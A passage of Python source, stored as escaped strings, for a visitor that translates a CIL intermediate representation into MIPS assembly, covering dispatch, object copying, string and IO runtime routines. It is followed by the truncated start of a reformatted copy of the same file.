strings\n\t\tself.write_file(f'_eq_str_{node.id}_:', tabbed = False) \t# handle strings\n\t\tself.write_file('lw\t$t3 12($t0)') # get string_1 size\n\t\tself.write_file('lw\t$t3 12($t3)') # unbox string_1 size\n\t\tself.write_file('lw\t$t4, 12($t1)') # get string_2 size\n\t\tself.write_file('lw\t$t4, 12($t4)') # unbox string_2 size\n\t\tself.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct\n\t\tself.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\t # if strings are empty\n\n\t\t# Verify ascii secuences\n\t\tself.write_file('addu $t0 $t0 16')\t# Point to start of string s1\n\t\tself.write_file('lw $t0 0($t0)')\n\t\tself.write_file('addu $t1 $t1 16') \t# Point to start of string s2\n\t\tself.write_file('lw $t1 0($t1)')\n\t\tself.write_file('move $t2 $t3')\t\t# Keep string length as counter\n\t\tself.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False)\n\t\tself.write_file('lb $a0 0($t0)')\t# get char of s1\n\t\tself.write_file('lb $a1 0($t1)')\t# get char of s2\n\t\tself.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2\n\t\tself.write_file('addu $t0 $t0 1')\n\t\tself.write_file('addu $t1 $t1 1')\n\t\tself.write_file('addiu $t2 $t2 -1')\t# Decrement counter\n\t\tself.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n\t\tself.write_file(f'b _eq_true_{node.id}_')\t\t# end of strings\n\n\t\tself.write_file(f'_not_basic_type_{node.id}_:', tabbed = False)\n\t\tself.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n\t\tself.write_file(f'b _eq_true_{node.id}_')\n\n\t\t# equal int or boolf\n\t\tself.write_file(f'_eq_int_bool_{node.id}:', tabbed = False)\t# handles booleans and ints\n\t\tself.write_file('lw $a3 12($t0)')\t# load value variable_1\n\t\tself.write_file('lw $t4 12($t1)') # load variable_2\n\t\tself.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct\n\n\t\t#return true\n\t\tself.write_file(f'_eq_true_{node.id}_:', tabbed = False)\n\t\tself.write_file('li $a0 1')\n\t\tself.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'b end_equal_{node.id}_')\n\n\t\t#return false\n\t\tself.write_file(f'_eq_false_{node.id}_:', tabbed = False)\n\t\tself.write_file('li $a0 0')\n\t\tself.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'end_equal_{node.id}_:', tabbed = False)\n\n\[email protected](cil.LessThan)\n\tdef visit(self, node: cil.LessThan):\n\t\tself.write_file('# <')\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.EqualOrLessThan)\n\tdef visit(self, node: cil.EqualOrLessThan):\n\t\tself.write_file('# <=')\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\n############################## ATTRIBUTES ####################################\n\n\n\[email protected](cil.GetAttrib)\n\tdef visit(self, node: cil.GetAttrib):\n\t\tself.write_file('# GETATTR')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tself.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n\t\tself.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n\t\tself.write_file('')\n\n\n\[email protected](cil.SetAttrib)\n\tdef visit(self, node: cil.SetAttrib):\n\t\tself.write_file('# SETATTR')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tif isinstance(node.src, int):\n\t\t\tself.write_file(f'li $a0, {node.src}')\n\t\telif node.src[:5] == \"data_\":\n\t\t\tself.write_file(f'la $a0, {node.src}')\n\t\telse:\n\t\t\tself.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n\t\tself.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n\t\tself.write_file('')\n\n\n################################ MEMORY ######################################\n\n\n\[email protected](cil.TypeOf)\n\tdef visit(self, node: cil.TypeOf):\n\t\tself.write_file('# TYPEOF')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tself.write_file(f'lw $a0 0($a1)')\n\t\tself.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n\t\tself.write_file('')\n\n\n\[email protected](cil.Allocate)\n\tdef visit(self, node: cil.Allocate):\n\t\tself.write_file('# ALLOCATE')\n\t\tif node.ttype == VOID_TYPE:\n\t\t\tself.write_file(f'la $v0 {VOID_MIPS_NAME}')\n\t\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\t\t\t\n\t\telse:\n\t\t\toffset_proto = self.type_index.index(node.ttype) * 8\n\t\t\tself.write_file('lw $t0 {}($s0)'.format(offset_proto))\n\t\t\tself.write_file('sw $t0, 0($sp)')\n\t\t\tself.write_file('addiu $sp, $sp, -4')\n\t\t\tself.write_file('')\n\t\t\tself.visit(cil.Call(dest = node.dest, f = \"Object_copy\"))\n\t\t\tself.write_file('addiu $sp, $sp, 4')\n\t\tself.write_file('')\n\n\n########################## DISPATCH STATEMENTS ###############################\n\n\n\[email protected](cil.Call)\n\tdef visit(self, node: cil.Call):\n\t\tself.write_file('# CALL')\n\n\t\t# Save return address and frame pointer\n\t\tself.write_file(f'addiu $sp, $sp, -8')\n\t\tself.write_file(f'sw $ra, 4($sp)')\n\t\tself.write_file(f'sw $fp, 8($sp)')\n\n\t\t# Call the function\n\t\tself.write_file(f'jal function_{node.f}')\n\n\t\t# Restore return address and frame pointer\n\t\tself.write_file(f'lw $fp, 8($sp)')\n\t\tself.write_file(f'lw $ra, 4($sp)')\n\t\tself.write_file(f'addiu $sp, $sp, 8')\n\n\t\tif node.dest:\n\t\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n\n\t\tself.write_file('')\n\n\n\[email protected](cil.VCall)\n\tdef visit(self, node: cil.VCall):\n\t\tself.write_file('# VCALL')\n\n\t\t# Save return address and frame pointer\n\t\tself.write_file(f'addiu $sp, $sp, -8')\n\t\tself.write_file(f'sw $ra, 4($sp)')\n\t\tself.write_file(f'sw $fp, 8($sp)')\n\n\t\tif node.ttype[0] == \"_\":\n\t\t\t# If node.type is a local CIL variable\n\t\t\tself.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n\t\telse:\n\t\t\t# If node.type a type name\n\t\t\tself.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n\t\tself.write_file(f'mulu $a2, $a2, 8')\n\t\tself.write_file(f'addu $a2, $a2, $s0')\n\t\tself.write_file(f'lw $a1, 0($a2)')\n\n\t\t# Check the dispatch table for the method's address\n\t\tself.write_file(f'lw $a2, 8($a1)')\n\t\tself.write_file(f'lw $a0 {node.f * 4}($a2)')\n\n\t\t# Call the function at 0($a0)\n\t\tself.write_file(f'jalr $a0')\n\n\t\t# Restore return address and frame pointer\n\t\tself.write_file(f'lw $fp, 8($sp)')\n\t\tself.write_file(f'lw $ra, 4($sp)')\n\t\tself.write_file(f'addiu $sp, $sp, 8')\n\n\t\t# Save value after restoring $fp\n\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n\n\t\t# Check prototypes table for the dynamic type\n\t\tif node.ttype[0] != '_':\n\t\t\tself.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n\t\telse:\n\t\t\tself.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n\n\t\tself.write_file('')\n\n\n\[email protected](cil.PushParam)\n\tdef visit(self, node: cil.PushParam):\n\t\tself.write_file('# PUSHPARAM')\n\t\tif node.name[0] != \"_\":\n\t\t\tself.write_file('li $a0, {}'.format(self.type_index.index(node.name)))\n\t\telse:\n\t\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n\t\tself.push()\n\t\tself.write_file('')\n\n\n\[email protected](cil.PopParam)\n\tdef visit(self, node: cil.PopParam):\n\t\tself.write_file('# POPPARAM')\n\t\tself.pop(node.name)\n\t\tself.write_file('')\n\n\n\[email protected](cil.Return)\n\tdef visit(self, node: cil.Return):\n\t\tself.write_file('# RETURN')\n\t\tself.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n\n################################# JUMPS ######################################\n\n\n\[email protected](cil.Label)\n\tdef visit(self, node: cil.Label):\n\t\tself.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n\n\[email protected](cil.Goto)\n\tdef visit(self, node: cil.Goto):\n\t\tself.write_file('# GOTO')\n\t\tself.write_file('j _cil_label_{}'.format(node.label))\n\t\tself.write_file('')\n\n\n\[email protected](cil.IfGoto)\n\tdef visit(self, node: cil.IfGoto):\n\t\tself.write_file('# IF GOTO')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n\t\tself.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n\t\tself.write_file('')\n\n\n############################## STATIC CODE ###################################\n\n\t#----- STATIC DATAs\n\n\tdef static_datas(self):\n\t\t# Buffer for reading strings\n\t\tself.write_file('str_buffer: .space 1025')\t\t\n\t\tself.write_file('')\n\n\t\t# Declare error mensages\n\t\tself.write_file('_index_negative_msg: .asciiz \\\"Index to substr is negative\\\\n\\\"')\n\t\tself.write_file('_index_out_msg: .asciiz \\\"Index out range exception\\\\n\\\"')\n\t\tself.write_file('_abort_msg: \\\"Execution aborted\\\\n\\\"')\n\t\tself.write_file('_div_zero_msg: \\\"Division by zero exception\\\\n\\\"')\n\n\t\tself.write_file('')\n\n\t#----- ENTRY FUNCTION\n\n\tdef entry(self):\n\t\tself.write_file('entry:', tabbed=False)\n\t\tself.visit(cil.Call(dest = None, f = 'build_class_name_table'))\n\t\tself.visit(cil.Call(dest = None, f = 'allocate_prototypes_table'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_prototypes'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_dispatch_tables'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_class_parents_table'))\n\t\tself.visit(cil.Allocate(dest = None, ttype = 'Main'))\n\n\t\t# Push main self\n\t\tself.write_file('sw $v0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\t\tself.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}'))\n\t\tself.write_file('addiu $sp $sp 4')\n\n\t\t# Push main self\n\t\tself.write_file('sw $v0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\t\tself.visit(cil.Call(dest = None, f = 'Main_main'))\n\t\tself.write_file('addiu $sp $sp 4')\n\n\t\tself.write_file('li $v0 10')\n\t\tself.write_file('syscall')\n\n\t#----- OBJECT METHODS\n\n\tdef object_abort(self):\n\t\tself.write_file('function_Object_abort:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef object_copy(self):\n\t\tself.write_file('function_Object_copy:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $t0 12($fp)')# recoger la instancia a copiar\n\t\tself.write_file('lw $a0 4($t0)')\n\t\tself.write_file('move $t4 $a0')\n\t\tself.write_file('li $v0 9')\n\t\tself.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo\n\t\tself.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto\n\t\tself.write_file('li $t3 0') # size ya copiado\n\t\tself.write_file('_objcopy_loop:', tabbed=False)\n\t\tself.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy\n\t\tself.write_file('sw $t1 0($v0)') # copiar la palabra\n\t\tself.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar\n\t\tself.write_file('addiu $v0 $v0 4')\t# posiciona el puntero en la direccion donde copiar la proxima palabra\n\t\tself.write_file('addiu $t3 $t3 4') # actualizar el size copiado\n\t\tself.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual\n\t\tself.write_file('_objcopy_div_end_:', tabbed=False)\n\t\tself.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef object_typename(self):\n\t\tself.write_file('function_Object_type_name:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\t# Box the string reference\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t# Create new String object\n\t\tself.write_file('move $v1 $v0')\n\n\t\t# Box string's length\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)\t)\t\t# Create new Int object\n\n\t\tself.write_file('lw $a1 12($fp)')\t\t\t# self\n\t\tself.write_file('lw $a1 0($a1)')\n\t\tself.write_file('mulu $a1 $a1 4')\t\t\t# self's class tag\n\t\tself.write_file('addu $a1 $a1 $s1')\t\t\t# class name table entry address\n\t\tself.write_file('lw $a1 0($a1)')\t\t\t\t# Get class name address\n\n\t\tself.write_file('move $a2 $0')\t\t\t\t# Compute string's length\n\t\tself.write_file('move $t2 $a1')\n\t\tself.write_file('_str_len_clsname_:', tabbed=False)\n\t\tself.write_file('lb $a0 0($t2)')\n\t\tself.write_file('beq $a0 $0 _end_clsname_len_')\n\t\tself.write_file('addiu $a2 $a2 1')\n\t\tself.write_file('addiu $t2 $t2 1')\n\t\tself.write_file('j _str_len_clsname_')\n\t\tself.write_file('_end_clsname_len_:', tabbed=False)\n\n\t\tself.write_file('sw $a2, 12($v0)')\t\t\t# Store string's length\n\n\t\tself.write_file('sw $v0, 12($v1)')\t\t\t# Fill String attributes\n\t\tself.write_file('sw $a1, 16($v1)')\n\n\t\tself.write_file('move $v0 $v1')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\n\t#----- STRING METHODS\n\n\tdef string_length(self):\n\t\tself.write_file('function_String_length:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 12($fp)')\t\t\t# Self\n\t\tself.write_file('lw $v0 12($a0)')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef string_concat(self):\n\t\tself.write_file('function_String_concat:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t# Create new Int object\n\t\tself.write_file('move $v1 $v0')\t\t\t\t\t\t\t\t\t\t\t\t# Save new Int Object\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t# Create new String object\n\t\tself.write_file('move $t3 $v0')\t\t\t# Store new String object\n\n\t\tself.write_file('lw $a1 12($fp)')\t\t# Self\n\t\tself.write_file('lw $a2 16($fp)')\t\t# Boxed String to concat\n\n\t\tself.write_file('lw $t1 12($a1)')\t\t# Self's length Int object\n\t\tself.write_file('lw $t1 12($t1)')\t\t# Self's length\n\n\t\tself.write_file('lw $t2 12($a2)')\t\t# strings to concat's length Int object\n\t\tself.write_file('lw $t2 12($t2)')\t\t# strings to concat's length\n\n\t\tself.write_file('addu $t0 $t2 $t1') \t\t# New string's length\n\t\tself.write_file('sw $t0 12($v1)')\t\t\t# Store new string's length into box\n\n\t\tself.write_file('lw $a1 16($a1)')\t\t# Unbox strings\n\t\tself.write_file('lw $a2 16($a2)')\n\n\t\tself.write_file('addiu $t0 $t0 1')\t\t# Add space for \\0\n\t\tself.allocate_memory('$t0', register=True)\t# Allocate memory for new string\n\t\tself.write_file('move $t5 $v0')\t\t\t\t\t# Keep the string's reference in v0 and use t7\n\n\n\t\t# a1: self's string\t\ta2: 2nd string\t\t\tt1: length self t2: 2nd string length\n\t\t#\t\t\t\t\t\t\t\t\tv1: new string's int object\n\n\t\tself.write_file('move $t4 $a1')\t\t\t# Index for iterating the self string\n\t\tself.write_file('addu $a1 $a1 $t1')\t\t# self's copy limit\n\t\tself.write_file('_strcat_copy_:', tabbed=False)\n\t\tself.write_file('beq $t4 $a1 _end_strcat_copy_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t5)')\n\n\t\tself.write_file('addiu $t5 $t5 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _strcat_copy_')\n\t\tself.write_file('_end_strcat_copy_:', tabbed=False)\n\n\t\t# Copy 2nd string\n\n\t\tself.write_file('move $t4 $a2')\t\t\t# Index for iterating the strings\n\t\tself.write_file('addu $a2 $a2 $t2')\t\t# self's copy limit\n\t\tself.write_file('_strcat_copy_snd_:', tabbed=False)\n\t\tself.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t5)')\n\n\t\tself.write_file('addiu $t5 $t5 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _strcat_copy_snd_')\n\t\tself.write_file('_end_strcat_copy_snd_:', tabbed=False)\n\n\t\tself.write_file('sb $0 0($t5)')\t\t\t# End string with \\0\n\n\t\t# $v0: reference to new string\t\t\t$v1: length int object\n\t\t# \t\t\t\t\t\t$t3: new string object\n\t\t# -> Create boxed string\n\n\t\tself.write_file('sw $v1 12($t3)')\t\t# New length\n\t\tself.write_file('sw $v0 16($t3)')\t\t# New string\n\n\t\tself.write_file('move $v0 $t3')\t\t\t# Return new String object in $v0\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef string_substr(self):\n\t\tself.write_file('function_String_substr:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\t\tself.write_file(f'lw $t5 12($fp)') # self param\n\t\tself.write_file(f'lw $a1 16($fp)') # reference of object int that represent i\n\t\tself.write_file(f'lw $a1 12($a1)') # value of i\n\t\tself.write_file(f'lw $a2 20($fp)') # reference of object int that represent j\n\t\tself.write_file(f'lw $a2 12($a2)') # value of j that is length to copy\n\t\tself.write_file(f'blt $a1 $0 _index_negative') # index i is negative\n\t\tself.write_file(f'blt $a2 $0 _index_negative') # length j is negative\n\t\tself.write_file(f'add $a2 $a1 $a2') # finish index\n\t\tself.write_file(f'lw $a3 12($t5)')\n\t\tself.write_file(f'lw $a3 12($a3)') # length of string\n\t\tself.write_file(f'bgt $a2 $a3 _index_out') # j > lenght\n\n\t\t# not errors\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\n\t\tself.write_file(f'move $v1 $v0') # new string\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\n\t\tself.write_file(f'move $t0 $v0') # lenght of string\n\t\tself.write_file(f'move $t7 $a2')\n\t\tself.write_file(f'subu $t7 $t7 $a1')\n\t\tself.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string\n\n\t\tself.allocate_memory('$a2', register=True)\t# $v0 -> address of the string\n\n\t\tself.write_file(f'sw $t0 12($v1)') # store length\n\t\tself.write_file(f'sw $v0 16($v1)') # store address of new string to String object\n\n\t\t# generate substring\n\t\tself.write_file('move $t1 $v0')\t\t\t\t# Index for iterating the new string\t\n\t\t\n\t\tself.write_file('lw $t5 16($t5)')\t\t\t# Index for iterating the self string\n\t\tself.write_file('move $t4 $t5')\n\t\tself.write_file('addu $t4 $t4 $a1') # self's copy start\n\t\tself.write_file('addu $t5 $t5 $a2')\t# self's copy limit\n\n\t\tself.write_file('_substr_copy_:', tabbed=False)\n\t\tself.write_file('bge $t4 $t5 _end_substr_copy_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t1)')\n\n\t\tself.write_file('addiu $t1 $t1 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _substr_copy_')\n\n\t\t# errors sections\n\t\tself.write_file(f'_index_negative:',tabbed=False)\n\t\tself.write_file(f'la $a0 _index_negative_msg')\t\n\t\tself.write_file(f'b _subst_abort')\n\n\t\tself.write_file(f'_index_out:',tabbed=False)\n\t\tself.write_file(f'la $a0 _index_out_msg')\t\n\t\tself.write_file(f'b _subst_abort')\n\n\t\t# abort execution \n\t\tself.write_file(f'_subst_abort:',tabbed=False)\n\t\tself.write_file(f'li $v0 4') \n\t\tself.write_file(f'syscall')\n\t\tself.write_file('la\t$a0 _abort_msg')\n\t\tself.write_file(f'li $v0 4')\n\t\tself.write_file(f'syscall')\n\t\tself.write_file(f'li $v0 10')\n\t\tself.write_file(f'syscall') # exit\n\n\t\t# successful execution \n\t\tself.write_file('_end_substr_copy_:', tabbed=False)\n\n\t\tself.write_file('move $v0 $v1')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#----- IO\n\n\tdef io_in_int(self):\n\t\tself.write_file('function_IO_in_int:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t\t# Create new Int object\n\n\t\tself.write_file('move $t0 $v0')\t\t\t\t# Save Int object\n\n\t\tself.write_file('li $v0 5')\t\t\t\t\t# Read int\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('sw $v0 12($t0)')\t\t\t# Store int\n\n\t\tself.write_file('move $v0 $t0')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_in_string(self):\n\t\tself.write_file('function_IO_in_string:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t# Create new Int object for string's length\n\t\tself.write_file('move $v1 $v0')\t\t\t# $v1: Int pbject\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t\t# Create new String object\n\t\tself.write_file('sw $v1 12($v0)')\n\t\tself.write_file('move $t5 $v0')\t\t\t# $t5: String object\n\n\t\t# Read String and store in a temp buffer\n\t\tself.write_file('la $a0 str_buffer')\n\t\tself.write_file('li $a1 1025')\n\t\tself.write_file('li $v0 8')\t\t\t\t\t# Read string\n\t\tself.write_file('syscall')\n\n\t\t# Compute string's length\n\t\tself.write_file('move $a0 $0')\n\t\tself.write_file('la $t2 str_buffer')\n\t\tself.write_file('_in_string_str_len_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t2)')\n\t\tself.write_file('beq $t0 $0 _end_in_string_str_len_')\n\t\tself.write_file('beq $t0 10 _end_in_string_str_len_')\n\t\tself.write_file('addiu $a0 $a0 1')\n\t\tself.write_file('addiu $t2 $t2 1')\n\t\tself.write_file('j _in_string_str_len_')\n\t\tself.write_file('_end_in_string_str_len_:', tabbed=False)\n\n\t\t# Store string's length into Integer class\n\t\tself.write_file('sw $a0 12($v1)')\n\n\t\t# Allocate size in $a0 ... string's length\n\t\tself.allocate_memory()\n\n\t\t# $a0: string's length \t\t\t$v0: string's new address\t\t\t$t5: String object\n\n\t\t# Copy string from buffer to new address\n\t\tself.write_file('la $t4 str_buffer')\t\t\t# Index for iterating the string buffer\n\t\tself.write_file('move $t1 $v0')\t\t\t\t\t# Index for iterating new string address\n\n\t\tself.write_file('_in_str_copy_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t4)')\t\t\t# Load a character\n\t\tself.write_file('beq $t0 $0 _end_in_str_copy_')\t# No more characters to copy\n\t\tself.write_file('beq $t0 10 _end_in_str_copy_')\t# No more characters to copy\n\n\t\tself.write_file('sb $t0 0($t1)')\t\t\t# Copy the character\n\n\t\tself.write_file('addiu $t4 $t4 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t1 $t1 1')\n\t\tself.write_file('j _in_str_copy_')\n\t\tself.write_file('_end_in_str_copy_:', tabbed=False)\n\n\t\t# Store string\n\t\tself.write_file('sw $v0 16($t5)')\t\n\n\t\t# Clean string buffer\n\t\tself.write_file('la $t4 str_buffer')\t\t\t# Index for iterating the string buffer\n\t\tself.write_file('_in_str_clean_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t4)')\t\t\t# Load a character\n\t\tself.write_file('beq $t0 $0 _end_in_str_clean_')\t# No more characters to clean\n\n\t\tself.write_file('sb $0 0($t4)')\t\t\t# Clean the character\n\n\t\tself.write_file('addiu $t4 $t4 1')\t\t# Advance indices\n\t\tself.write_file('j _in_str_clean_')\n\t\tself.write_file('_end_in_str_clean_:', tabbed=False)\n\n\t\t# Return new string in $v0\n\t\tself.write_file('move $v0 $t5')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_out_int(self):\n\t\tself.write_file('function_IO_out_int:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 16($fp)')\t\t\t# Get Int object\n\t\tself.write_file('lw $a0 12($a0)')\n\n\t\tself.write_file('li $v0 1')\t\t\t\t\t# Print int\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('lw $v0 12($fp)')\t\t\t\t# Return self\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_out_string(self):\n\t\tself.write_file('function_IO_out_string:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 16($fp)')\t\t\t# Get String object\n\t\tself.write_file('lw $a0 16($a0)')\n\n\t\tself.write_file('li $v0 4')\t\t\t\t\t# Print string\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('lw $v0 12($fp)')\t\t\t\t# Return self\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#------ CONFORMS\n\n\tdef conforms(self):\n\t\tself.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file(f'lw $t0 12($fp)')\t\t# First arg's class tag\n\t\tself.write_file(f'lw $t1 16($fp)')\t\t# Second arg's class tag\n\n\t\t# 2nd arg == Object -> return true\n\t\tself.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_')\t\n\n\t\tself.write_file('_conforms_loop_:', tabbed=False)\n\n\t\t# current == 2nd arg -> return true\n\t\tself.write_file('beq $t0 $t1 _conforms_ret_true_')\t\n\n\t\t# current == Object -> return false\n\t\tself.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_')\t\t\n\n\t\t# Query parents's class tag from $s2 ... class parent table\n\t\tself.write_file('mulu $t0 $t0 4')\n\t\tself.write_file('addu $t0 $t0 $s2')\t\t\n\t\tself.write_file('lw $t0 0($t0)')\t\t\t# current = current.parent\n\t\tself.write_file('j _conforms_loop_')\n\t\t\n\t\tself.write_file('_conforms_ret_true_:', tabbed=False)\n\t\tself.write_file('li $v0 1')\n\t\tself.write_file('j _conforms_ret_')\n\n\t\tself.write_file('_conforms_ret_false_:', tabbed=False)\n\t\tself.write_file('li $v0 0')\n\t\t\n\t\t# No need to store result in a Bool class\n\t\tself.write_file('_conforms_ret_:')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#------ ISVOID\n\n\tdef isvoid(self):\n\t\tself.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS))\n\t\t# $v0 contains new Bool object\n\n\t\tself.write_file(f'lw $t0 12($fp)')\t\t\t\t\t# 1st arg is an object address\n\t\tself.write_file(f'la $t1 {VOID_MIPS_NAME}')\n\n\t\tself.write_file(f'beq $t0 $t1 _is_void_true_')\t# arg == void type\n\t\tself.write_file(f'sw $0 12($v0)')\t\t\t\t\t# return False\n\t\tself.write_file(f'j _is_void_end_')\n\n\t\tself.write_file(f'_is_void_true_:', tabbed=False)\n\t\tself.write_file(f'li $t0 1')\n\t\tself.write_file(f'sw $t0 12($v0)')\t\t\t\t\t# return True\n\t\tself.write_file(f'_is_void_end_:', tabbed=False)\n\n\t\t# Return Bool object in $v0\n\t\tself.write_file(f'jr $ra')\n\t\tself.write_file(f'')", "<docstring token>\nimport sys\nsys.path.append('..')\nimport commons.cil_ast as cil\nimport commons.visitor as visitor\nfrom commons.settings import *\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def 